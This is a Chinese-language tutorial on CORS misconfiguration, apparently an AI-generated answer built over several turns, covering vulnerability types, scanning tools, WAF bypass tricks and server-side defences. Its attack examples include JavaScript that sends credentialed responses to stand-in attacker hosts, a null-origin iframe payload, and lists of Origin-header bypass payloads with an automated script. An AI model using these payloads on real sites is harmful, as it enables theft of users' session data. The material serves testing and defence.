一、CORS基础概念
1.1 什么是CORS?
CORS(Cross-Origin Resource Sharing,跨源资源共享)是一种浏览器机制,它允许网页从不同源(域名、协议或端口)请求资源。这是一个安全功能,用于防止恶意网站未经授权访问其他网站的敏感数据。
1.2 CORS的工作原理
CORS通过一系列HTTP头部来实现跨域访问控制:
Origin
:请求头,指示请求来源Access-Control-Allow-Origin
:响应头,指定允许访问的源Access-Control-Allow-Credentials
:响应头,指示是否允许发送CookieAccess-Control-Allow-Methods
:响应头,指定允许的HTTP方法Access-Control-Allow-Headers
:响应头,指定允许的请求头
二、CORS配置错误类型及危害
2.1 Origin反射漏洞
漏洞描述
当服务器简单地将请求中的Origin头部值反射到Access-Control-Allow-Origin
响应头中时,就会产生此漏洞。这是一个非常危险的配置错误,因为它允许任何源都能访问该资源。
漏洞危害
- 允许攻击者从任意域名访问受害者的敏感信息
- 可能导致用户数据泄露
- 可能导致会话劫持
- 可能导致API密钥等敏感信息泄露
攻击示例
javascript
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
2.2 Null Origin漏洞
漏洞描述
当服务器允许来自null
Origin的请求时,攻击者可以通过特殊方式(如使用data URI方案)来生成具有null
Origin的请求。
漏洞危害
- 绕过CORS限制
- 访问受保护的API端点
- 可能导致敏感数据泄露
攻击示例
html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
2.3 通配符Origin漏洞
漏洞描述
当服务器配置为允许所有源访问(使用*
通配符)且不需要身份验证时,可能导致内部API暴露。
漏洞危害
- 允许未经身份验证的访问
- 内部API可能被外部访问
- 敏感数据可能被未授权获取
注意事项
- 使用通配符(*)时,浏览器不会发送凭证(cookies)
https://*.example.com
这样的通配符是无效的
2.4 信任源XSS漏洞利用
漏洞描述
即使实施了严格的源白名单,如果在受信任的源上存在XSS漏洞,攻击者仍可以注入恶意代码来绕过CORS限制。
漏洞危害
- 通过受信任域名绕过CORS限制
- 可能导致完整的数据泄露
- 可能实现横向攻击
攻击路径
xml
https://trusted-origin.example.com/?xss=<script>[CORS攻击载荷]</script>
2.5 Origin扩展漏洞
漏洞描述
由于服务器端正则表达式实现不当,可能导致Origin验证被绕过。
常见的两种场景:
- 前缀匹配不当
- 正则表达式中的点号(.)未正确转义
漏洞示例
被攻击域名:api.example.com
攻击者域名:evilexample.com 或 apiiexample.com
危害影响
- 绕过域名验证
- 访问受保护资源
- 数据泄露风险
我将更新之前的内容,并重点补充漏洞挖掘和WAF绕过方法。以下是修改后的部分内容(仅展示新增和修改部分):
三、漏洞挖掘方法
3.1 自动化扫描
1. 工具使用方法
- Corsy使用
bash
# 安装
git clone https://github.com/s0md3v/Corsy.git
cd Corsy
pip3 install -r requirements.txt
# 基本扫描
python3 corsy.py -u https://target.com
# 批量扫描
python3 corsy.py -i urls.txt
# 指定自定义头部
python3 corsy.py -u https://target.com -H "Cookie: session=xxx"
- CORScanner配置
bash
# 安装
git clone https://github.com/chenjj/CORScanner.git
cd CORScanner
pip3 install -r requirements.txt
# 扫描单个URL
python cors_scan.py -u https://target.com
# 扫描特定端口
python cors_scan.py -u https://target.com -p 8080,8443
2. 自定义扫描脚本
python
import requests
def test_cors(url):
headers = {
'Origin': 'https://evil.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
try:
response = requests.get(url, headers=headers)
cors_header = response.headers.get('Access-Control-Allow-Origin')
if cors_header == 'https://evil.com':
print(f"[VULNERABLE] {url} reflects Origin")
elif cors_header == '*':
print(f"[POTENTIAL] {url} allows all origins")
except Exception as e:
print(f"Error testing {url}: {str(e)}")
3.2 手动测试方法
1. Burp Suite测试步骤
- 基础测试
http
GET /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
- null源测试
http
GET /api/data HTTP/1.1
Host: target.com
Origin: null
- 子域测试
http
GET /api/data HTTP/1.1
Host: target.com
Origin: https://subdomain.target.com
2. 常见测试载荷
javascript
// 测试脚本1 - 基础CORS测试
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
fetch('https://attacker.com/log?data=' + btoa(xhr.responseText));
}
};
xhr.open('GET', 'https://target.com/api/sensitive', true);
xhr.withCredentials = true;
xhr.send();
// 测试脚本2 - PostMessage测试
window.addEventListener('message', function(event) {
if (event.origin !== "https://trusted-origin.com")
return;
var xhr = new XMLHttpRequest();
xhr.open('GET', event.data.url, true);
xhr.withCredentials = true;
xhr.send();
});
四、WAF绕过技术
4.1 Origin Header变形
1. 特殊字符注入
http
Origin: https://evil.com%0d%0a
Origin: https://evil.com%0a
Origin: https://evil.com%09
2. 编码变换
http
# Unicode编码
Origin: https://evil.com%u0000
Origin: https://evil.com%u0009
# 双重编码
Origin: https://evil.com%252f
3. 协议变种
http
Origin: http://evil.com
Origin: https://evil.com
Origin: file://evil.com
Origin: chrome-extension://evil.com
4.2 请求方法变换
http
# 使用非标准HTTP方法
CUSTOM /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
# 使用WebDAV方法
PROPFIND /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
4.3 高级绕过技术
1. 请求头组合
http
Origin: https://evil.com
X-Forwarded-Host: target.com
X-Original-URL: /api/data
X-Rewrite-URL: /api/data
2. 路径混淆
http
# 使用../进行路径混淆
GET /safe/../../api/data HTTP/1.1
Origin: https://evil.com
# 使用Unicode字符进行混淆
GET /api/dat%u0061 HTTP/1.1
Origin: https://evil.com
3. JSON污染
http
{
"origin": {
"toString": "https://evil.com",
"valueOf": "https://evil.com"
}
}
4.4 自动化绕过脚本
python
import requests
import urllib.parse
def waf_bypass_test(url):
bypass_payloads = [
{'Origin': 'https://evil.com%0d%0a'},
{'Origin': 'https://evil.com%09'},
{'Origin': 'https://evil.com%0a'},
{'Origin': 'https://evil.com%u0000'},
{'Origin': 'https://evil.com%252f'},
{
'Origin': 'https://evil.com',
'X-Forwarded-Host': 'target.com'
},
{
'Origin': 'https://evil.com',
'X-Original-URL': '/api/data'
}
]
for payload in bypass_payloads:
try:
response = requests.get(url, headers=payload)
if 'Access-Control-Allow-Origin' in response.headers:
print(f"[POTENTIAL BYPASS] Found with payload: {payload}")
print(f"Response headers: {response.headers}")
except Exception as e:
print(f"Error with payload {payload}: {str(e)}")
4.5 绕过检测要点
-
响应头分析
- 检查是否存在非标准CORS头
- 分析头部值的处理逻辑
- 寻找头部注入点
-
请求方法变化
- 测试非标准HTTP方法
- 利用HTTP方法覆盖技术
- 探索WebDAV方法支持
-
协议利用
- 测试不同协议支持
- 利用协议降级攻击
- 探索协议切换漏洞
-
缓存投毒
- 利用CDN缓存特性
- 探索缓存键计算逻辑
- 实施缓存欺骗攻击
通过以上方法,可以系统地测试CORS配置,发现潜在漏洞,并尝试绕过WAF防护。在实际测试中,建议结合多种方法,并保持对新技术的关注。同时,请确保在授权的情况下进行测试,遵守相关法律法规。
我将添加一个关于CORS漏洞的防御和修复措施的详细章节:
五、CORS漏洞防御与修复措施
5.1 服务器端配置
1. Nginx配置示例
nginx
# 严格的CORS配置
location /api/ {
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' 'https://trusted-domain.com';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain charset=UTF-8';
add_header 'Content-Length' 0;
return 204;
}
if ($http_origin = 'https://trusted-domain.com') {
add_header 'Access-Control-Allow-Origin' 'https://trusted-domain.com';
add_header 'Access-Control-Allow-Credentials' 'true';
}
}
2. Apache配置示例
apache
<IfModule mod_headers.c>
# 设置允许的源
SetEnvIf Origin "^https?://(.*\.)?trusted-domain\.com$" ALLOW_ORIGIN=$0
Header set Access-Control-Allow-Origin %{ALLOW_ORIGIN}e env=ALLOW_ORIGIN
# 设置允许的方法
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
# 设置允许的头部
Header set Access-Control-Allow-Headers "Content-Type, Authorization"
# 允许发送凭证
Header set Access-Control-Allow-Credentials "true"
</IfModule>
5.2 应用程序防护
1. Node.js Express框架配置
javascript
const cors = require('cors');
// 基础配置
const corsOptions = {
origin: function (origin, callback) {
const allowedOrigins = ['https://trusted-domain.com', 'https://admin.trusted-domain.com'];
if (!origin || allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('不允许的CORS访问'));
}
},
methods: ['GET', 'POST', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400
};
app.use(cors(corsOptions));
// 添加额外的安全头部
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
next();
});
2. Python Flask配置
python
from flask import Flask
from flask_cors import CORS
app = Flask(__name__)
cors_config = {
'origins': ['https://trusted-domain.com'],
'methods': ['GET', 'POST', 'OPTIONS'],
'allow_headers': ['Content-Type', 'Authorization'],
'supports_credentials': True,
'max_age': 86400
}
CORS(app, resources={
r"/api/*": cors_config
})
# 添加安全中间件
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response
5.3 安全检查清单
1. 配置审查
- 验证所有允许的源是否都是必需的
- 检查是否正确实现了预检请求(OPTIONS)处理
- 确保凭证设置的安全性
- 验证允许的HTTP方法是否最小化
- 检查缓存控制设置
2. 实施步骤
plaintext
1. 源验证
- 实现严格的源白名单
- 避免使用通配符 (*)
- 验证所有子域
2. 头部控制
- 限制允许的请求头
- 设置适当的缓存时间
- 实现安全相关的HTTP头部
3. 方法限制
- 只允许必需的HTTP方法
- 实现OPTIONS预检请求处理
- 验证非标准方法的处理
4. 错误处理
- 实现合适的错误响应
- 避免信息泄露
- 记录异常访问
5.4 监控和日志
1. 日志配置示例
python
import logging
from datetime import datetime
def setup_cors_logging():
logger = logging.getLogger('cors_security')
logger.setLevel(logging.INFO)
handler = logging.FileHandler('cors_security.log')
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
handler.setFormatter(formatter)
logger.addHandler(handler)
return logger
def log_cors_request(request, allowed):
logger = setup_cors_logging()
logger.info({
'timestamp': datetime.utcnow().isoformat(),
'origin': request.headers.get('Origin'),
'method': request.method,
'path': request.path,
'allowed': allowed,
'ip': request.remote_addr
})
2. 告警系统实现
python
def alert_on_suspicious_cors(request_data):
suspicious_patterns = [
r'null\s*origin',
r'evil\.com$',
r'%0[ad]',
r'%u0000'
]
origin = request_data.get('origin', '')
for pattern in suspicious_patterns:
if re.search(pattern, origin, re.I):
send_alert({
'type': 'CORS_SECURITY',
'severity': 'HIGH',
'message': f'Suspicious CORS request detected from {origin}',
'timestamp': datetime.utcnow().isoformat(),
'request_data': request_data
})
5.5 应急响应流程
-
检测阶段
- 监控异常CORS请求
- 分析访问日志
- 识别攻击模式
-
响应阶段
pythondef cors_incident_response(incident): # 立即措施 block_origin(incident['origin']) notify_security_team(incident) # 取证 collect_forensic_data(incident) # 修复 apply_emergency_cors_config() # 报告 generate_incident_report(incident)
-
恢复阶段
- 验证修复措施
- 更新安全策略
- 加强监控措施
- 进行安全培训
-
预防措施
javascript// 实现请求速率限制 const rateLimit = require('express-rate-limit'); const corsLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15分钟 max: 100, // 限制每个IP的请求次数 message: '请求频率过高,请稍后再试' }); app.use('/api/', corsLimiter);
结论
CORS配置错误是一个严重的安全问题,可能导致敏感数据泄露、账户接管等严重后果。为了防止CORS相关的安全问题,组织需要:
- 实施严格的源验证策略
- 正确配置CORS头部
- 定期进行安全审计
- 使用自动化工具进行持续监控
- 保持对新型攻击方式的警惕